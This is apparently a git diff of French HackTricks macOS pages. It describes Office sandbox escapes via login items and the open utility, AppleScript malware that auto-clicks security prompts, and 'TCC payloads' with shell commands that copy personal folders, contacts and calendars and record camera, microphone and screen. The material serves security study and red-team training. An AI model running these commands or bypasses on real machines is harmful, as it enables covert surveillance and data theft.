Un attaquant pourrait créer les fichiers **`.bash_profile`** et **`.zshenv`** avec la charge utile à exécuter, puis les zipper et **écrire le zip dans le dossier de l'utilisateur** victime : **`~/~$escape.zip`**.
|
||||
Un attaquant pourrait créer les fichiers **`.bash_profile`** et **`.zshenv`** avec le payload à exécuter, puis les zipper et **écrire le zip dans le dossier de l'utilisateur de la victime** : **`~/~$escape.zip`**.
|
||||
|
||||
Ensuite, ajoutez le fichier zip aux **éléments de connexion** puis à l'application **`Terminal`**. Lorsque l'utilisateur se reconnecte, le fichier zip serait décompressé dans les fichiers de l'utilisateur, écrasant **`.bash_profile`** et **`.zshenv** et donc, le terminal exécutera l'un de ces fichiers (selon que bash ou zsh est utilisé).
|
||||
Ensuite, ajoutez le fichier zip aux **Éléments de Connexion** et ensuite à l'application **`Terminal`**. Lorsque l'utilisateur se reconnecte, le fichier zip serait décompressé dans le dossier de l'utilisateur, écrasant **`.bash_profile`** et **`.zshenv`** et donc, le terminal exécutera l'un de ces fichiers (selon que bash ou zsh est utilisé).
|
||||
|
||||
Consultez le [**rapport original ici**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||
|
||||
### Contournement du bac à sable de Word avec Open et les variables d'environnement
|
||||
### Bypass du Sandbox Word avec Open et variables d'environnement
|
||||
|
||||
À partir des processus mis en bac à sable, il est toujours possible d'appeler d'autres processus en utilisant l'utilitaire **`open`**. De plus, ces processus s'exécuteront **dans leur propre bac à sable**.
|
||||
À partir des processus sandboxés, il est toujours possible d'invoquer d'autres processus en utilisant l'utilitaire **`open`**. De plus, ces processus s'exécuteront **dans leur propre sandbox**.
|
||||
|
||||
Il a été découvert que l'utilitaire open a l'option **`--env`** pour exécuter une application avec des **variables d'environnement spécifiques**. Par conséquent, il était possible de créer le fichier **`.zshenv`** dans un dossier **à l'intérieur** du **bac à sable** et d'utiliser `open` avec `--env` en définissant la variable **`HOME`** sur ce dossier en ouvrant l'application `Terminal`, qui exécutera le fichier `.zshenv` (pour une raison quelconque, il était également nécessaire de définir la variable `__OSINSTALL_ENVIROMENT`).
|
||||
Il a été découvert que l'utilitaire open a l'option **`--env`** pour exécuter une application avec des **variables d'environnement spécifiques**. Par conséquent, il était possible de créer le **fichier `.zshenv`** dans un dossier **à l'intérieur** du **sandbox** et d'utiliser `open` avec `--env` en définissant la **variable `HOME`** sur ce dossier en ouvrant cette application `Terminal`, qui exécutera le fichier `.zshenv` (pour une raison quelconque, il était également nécessaire de définir la variable `__OSINSTALL_ENVIROMENT`).
|
||||
|
||||
Consultez le [**rapport original ici**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
||||
|
||||
### Contournement du bac à sable de Word avec Open et stdin
|
||||
### Bypass du Sandbox Word avec Open et stdin
|
||||
|
||||
L'utilitaire **`open`** prenait également en charge le paramètre **`--stdin`** (et après le contournement précédent, il n'était plus possible d'utiliser `--env`).
|
||||
L'utilitaire **`open`** supportait également le paramètre **`--stdin`** (et après le contournement précédent, il n'était plus possible d'utiliser `--env`).
|
||||
|
||||
Le fait est que même si **`python`** était signé par Apple, il ne **exécutera pas** un script avec l'attribut **`quarantine`**. Cependant, il était possible de lui transmettre un script depuis stdin afin qu'il ne vérifie pas s'il était mis en quarantaine ou non : 
|
||||
Le fait est que même si **`python`** était signé par Apple, il **n'exécutera pas** un script avec l'attribut **`quarantine`**. Cependant, il était possible de lui passer un script depuis stdin afin qu'il ne vérifie pas s'il était mis en quarantaine ou non : 
|
||||
|
||||
1. Déposez un fichier **`~$exploit.py`** avec des commandes Python arbitraires.
|
||||
2. Exécutez _open_ **`–stdin='~$exploit.py' -a Python`**, qui exécute l'application Python avec notre fichier déposé servant de son entrée standard. Python exécute joyeusement notre code, et comme c'est un processus enfant de _launchd_, il n'est pas lié aux règles du bac à sable de Word.
|
||||
2. Exécutez _open_ **`–stdin='~$exploit.py' -a Python`**, ce qui exécute l'application Python avec notre fichier déposé servant d'entrée standard. Python exécute joyeusement notre code, et comme c'est un processus enfant de _launchd_, il n'est pas soumis aux règles du sandbox de Word.
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Scripts Apple macOS
|
||||
# macOS Apple Scripts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Scripts Apple
|
||||
## Apple Scripts
|
||||
|
||||
Il s'agit d'un langage de script utilisé pour l'automatisation des tâches **interagissant avec des processus distants**. Il facilite la **demande à d'autres processus d'effectuer certaines actions**. **Les logiciels malveillants** peuvent exploiter ces fonctionnalités pour abuser des fonctions exportées par d'autres processus.\
|
||||
C'est un langage de script utilisé pour l'automatisation des tâches **interagissant avec des processus distants**. Il facilite assez bien **la demande à d'autres processus d'effectuer certaines actions**. **Les logiciels malveillants** peuvent abuser de ces fonctionnalités pour exploiter des fonctions exportées par d'autres processus.\
|
||||
Par exemple, un logiciel malveillant pourrait **injecter du code JS arbitraire dans les pages ouvertes du navigateur**. Ou **cliquer automatiquement** sur certaines autorisations demandées à l'utilisateur ;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
end tell
|
||||
```
|
||||
Voici quelques exemples: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Trouvez plus d'informations sur les logiciels malveillants utilisant des scripts Apple [**ici**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||
Voici quelques exemples : [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Trouvez plus d'infos sur les malwares utilisant des applescripts [**ici**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||
|
||||
Les scripts Apple peuvent être facilement "**compilés**". Ces versions peuvent être facilement "**décompilées**" avec `osadecompile`
|
||||
|
||||
Cependant, ces scripts peuvent également être **exportés en mode "Lecture seule"** (via l'option "Exporter..."):
|
||||
Cependant, ces scripts peuvent également être **exportés en tant que "Lecture seule"** (via l'option "Exporter...") :
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
|
@ -37,18 +38,19 @@ mal.scpt: AppleScript compiled
|
|||
```
|
||||
et dans ce cas, le contenu ne peut pas être décompilé même avec `osadecompile`
|
||||
|
||||
Cependant, il existe encore des outils qui peuvent être utilisés pour comprendre ce type d'exécutables, [**lisez cette recherche pour plus d'informations**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). L'outil [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) avec [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sera très utile pour comprendre comment le script fonctionne.
|
||||
Cependant, il existe encore des outils qui peuvent être utilisés pour comprendre ce type d'exécutables, [**lisez cette recherche pour plus d'infos**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). L'outil [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) avec [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sera très utile pour comprendre comment le script fonctionne.
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,28 @@
|
|||
# Charges macOS TCC
|
||||
# macOS TCC Payloads
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Bureau
|
||||
|
||||
- **Autorisation** : Aucune
|
||||
- **TCC** : kTCCServiceSystemPolicyDesktopFolder
|
||||
* **Droit**: Aucun
|
||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Copiez `$HOME/Desktop` vers `/tmp/desktop`.
|
||||
Copier `$HOME/Desktop` dans `/tmp/desktop`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -56,7 +57,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Copiez `$HOME/Desktop` vers `/tmp/desktop`.
|
||||
Copiez `$HOME/Desktop` dans `/tmp/desktop`.
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -65,12 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
|||
|
||||
### Documents
|
||||
|
||||
* **Autorisation**: Aucune
|
||||
* **Droit**: Aucun
|
||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Copiez `$HOME/Documents` vers `/tmp/documents`.
|
||||
Copier `$HOME/Documents` vers `/tmp/documents`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -104,8 +105,8 @@ fclose(stderr); // Close the file stream
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Coquille" %}
|
||||
Copiez `$HOME/`Documents vers `/tmp/documents`.
|
||||
{% tab title="Shell" %}
|
||||
Copier `$HOME/`Documents vers `/tmp/documents`.
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
|
@ -114,12 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
|||
|
||||
### Téléchargements
|
||||
|
||||
* **Autorisation** : Aucune
|
||||
* **TCC** : `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
* **Droit**: Aucun
|
||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Copiez `$HOME/Downloads` vers `/tmp/downloads`.
|
||||
Copier `$HOME/Downloads` vers `/tmp/downloads`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -154,21 +155,21 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Copiez `$HOME/Dowloads` vers `/tmp/downloads`.
|
||||
Copiez `$HOME/Dowloads` dans `/tmp/downloads`.
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Bibliothèque de photos
|
||||
### Bibliothèque de Photos
|
||||
|
||||
* **Autorisation** : `com.apple.security.personal-information.photos-library`
|
||||
* **TCC** : `kTCCServicePhotos`
|
||||
* **Droit**: `com.apple.security.personal-information.photos-library`
|
||||
* **TCC**: `kTCCServicePhotos`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Copiez `$HOME/Pictures/Photos Library.photoslibrary` vers `/tmp/photos`.
|
||||
Copiez `$HOME/Pictures/Photos Library.photoslibrary` dans `/tmp/photos`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -203,7 +204,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Copiez `$HOME/Pictures/Photos Library.photoslibrary` vers `/tmp/photos`.
|
||||
Copiez `$HOME/Pictures/Photos Library.photoslibrary` dans `/tmp/photos`.
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
|
@ -212,12 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|||
|
||||
### Contacts
|
||||
|
||||
* **Autorisation** : `com.apple.security.personal-information.addressbook`
|
||||
* **TCC** : `kTCCServiceAddressBook`
|
||||
* **Entitlement**: `com.apple.security.personal-information.addressbook`
|
||||
* **TCC**: `kTCCServiceAddressBook`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Copiez `$HOME/Library/Application Support/AddressBook` vers `/tmp/contacts`.
|
||||
Copiez `$HOME/Library/Application Support/AddressBook` dans `/tmp/contacts`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -252,7 +253,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Copiez `$HOME/Library/Application Support/AddressBook` vers `/tmp/contacts`.
|
||||
Copiez `$HOME/Library/Application Support/AddressBook` dans `/tmp/contacts`.
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
|
@ -261,12 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|||
|
||||
### Calendrier
|
||||
|
||||
* **Autorisation** : `com.apple.security.personal-information.calendars`
|
||||
* **TCC** : `kTCCServiceCalendar`
|
||||
* **Droit**: `com.apple.security.personal-information.calendars`
|
||||
* **TCC**: `kTCCServiceCalendar`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Copiez `$HOME/Library/Calendars` vers `/tmp/calendars`.
|
||||
Copiez `$HOME/Library/Calendars` dans `/tmp/calendars`.
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -301,7 +302,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Copiez `$HOME/Library/Calendars` vers `/tmp/calendars`.
|
||||
Copiez `$HOME/Library/Calendars` dans `/tmp/calendars`.
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
|
@ -310,11 +311,11 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
|||
|
||||
### Caméra
|
||||
|
||||
* **Autorisation** : `com.apple.security.device.camera`
|
||||
* **TCC** : `kTCCServiceCamera`
|
||||
* **Droit**: `com.apple.security.device.camera`
|
||||
* **TCC**: `kTCCServiceCamera`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC - Enregistrer" %}
|
||||
{% tab title="ObjetiveC - Enregistrer" %}
|
||||
Enregistrer une vidéo de 3 secondes et la sauvegarder dans **`/tmp/recording.mov`**
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
@ -393,9 +394,8 @@ fclose(stderr); // Close the file stream
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Vérification" %}
|
||||
{% tab title="ObjectiveC - Vérifier" %}
|
||||
Vérifiez si le programme a accès à la caméra.
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -428,7 +428,7 @@ fclose(stderr); // Close the file stream
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Prenez une photo avec l'appareil photo
|
||||
Prendre une photo avec la caméra
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
|
@ -437,12 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
|||
|
||||
### Microphone
|
||||
|
||||
* **Autorisation** : **com.apple.security.device.audio-input**
|
||||
* **TCC** : `kTCCServiceMicrophone`
|
||||
* **Droit**: **com.apple.security.device.audio-input**
|
||||
* **TCC**: `kTCCServiceMicrophone`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - Enregistrement" %}
|
||||
Enregistrer 5 secondes de son et le stocker dans `/tmp/recording.m4a`
|
||||
{% tab title="ObjetiveC - Enregistrer" %}
|
||||
Enregistrer 5 secondes d'audio et le stocker dans `/tmp/recording.m4a`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -541,9 +541,8 @@ fclose(stderr); // Close the file stream
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Vérification" %}
|
||||
{% tab title="ObjectiveC - Vérifier" %}
|
||||
Vérifiez si l'application a accès au microphone.
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -574,7 +573,7 @@ static void telegram(int argc, const char **argv) {
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Enregistrez un audio de 5 secondes et stockez-le dans `/tmp/enregistrement.wav`
|
||||
Enregistrez un audio de 5 secondes et stockez-le dans `/tmp/recording.wav`
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
|
@ -587,11 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|||
### Emplacement
|
||||
|
||||
{% hint style="success" %}
|
||||
Pour qu'une application obtienne l'emplacement, les **Services de localisation** (dans Confidentialité et sécurité) **doivent être activés,** sinon elle ne pourra pas y accéder.
|
||||
Pour qu'une application puisse obtenir la localisation, **les Services de localisation** (dans Confidentialité et sécurité) **doivent être activés,** sinon elle ne pourra pas y accéder.
|
||||
{% endhint %}
|
||||
|
||||
* **Autorisation** : `com.apple.security.personal-information.location`
|
||||
* **Droit** : `com.apple.security.personal-information.location`
|
||||
* **TCC** : Accordé dans `/var/db/locationd/clients.plist`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Écrire la localisation dans `/tmp/logs.txt`
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -640,22 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title = "Shell" %}
|
||||
Obtenez l'accès à l'emplacement
|
||||
{% tab title="Shell" %}
|
||||
Accéder à l'emplacement
|
||||
```
|
||||
???
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Enregistrement de l'écran
|
||||
### Enregistrement d'écran
|
||||
|
||||
* **Autorisation** : Aucune
|
||||
* **TCC** : `kTCCServiceScreenCapture`
|
||||
* **Droit**: Aucun
|
||||
* **TCC**: `kTCCServiceScreenCapture`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Enregistrer l'écran principal pendant 5 secondes dans `/tmp/screen.mov`
|
||||
Enregistrer l'écran principal pendant 5s dans `/tmp/screen.mov`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -711,8 +714,8 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Coquille" %}
|
||||
Enregistrez l'écran principal pendant 5 secondes
|
||||
{% tab title="Shell" %}
|
||||
Enregistrer l'écran principal pendant 5s
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
|
@ -721,10 +724,13 @@ screencapture -V 5 /tmp/screen.mov
|
|||
|
||||
### Accessibilité
|
||||
|
||||
* **Autorisation**: Aucune
|
||||
* **Droit**: Aucun
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
Utilisez le privilège TCC pour accepter le contrôle du Finder en appuyant sur Entrée et contourner ainsi le TCC de cette manière
|
||||
Utilisez le privilège TCC pour accepter le contrôle de Finder en appuyant sur entrer et contourner TCC de cette manière
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Accepter TCC" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -886,19 +892,20 @@ return 0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**L'accessibilité est une permission très puissante**, vous pourriez l'exploiter de différentes manières, par exemple vous pourriez effectuer l'**attaque par frappe de touches** juste à partir de là sans avoir besoin d'appeler Événements système.
|
||||
**L'accessibilité est une permission très puissante**, vous pourriez en abuser de différentes manières, par exemple vous pourriez effectuer l'**attaque par frappes** juste à partir de cela sans avoir besoin d'appeler System Events.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
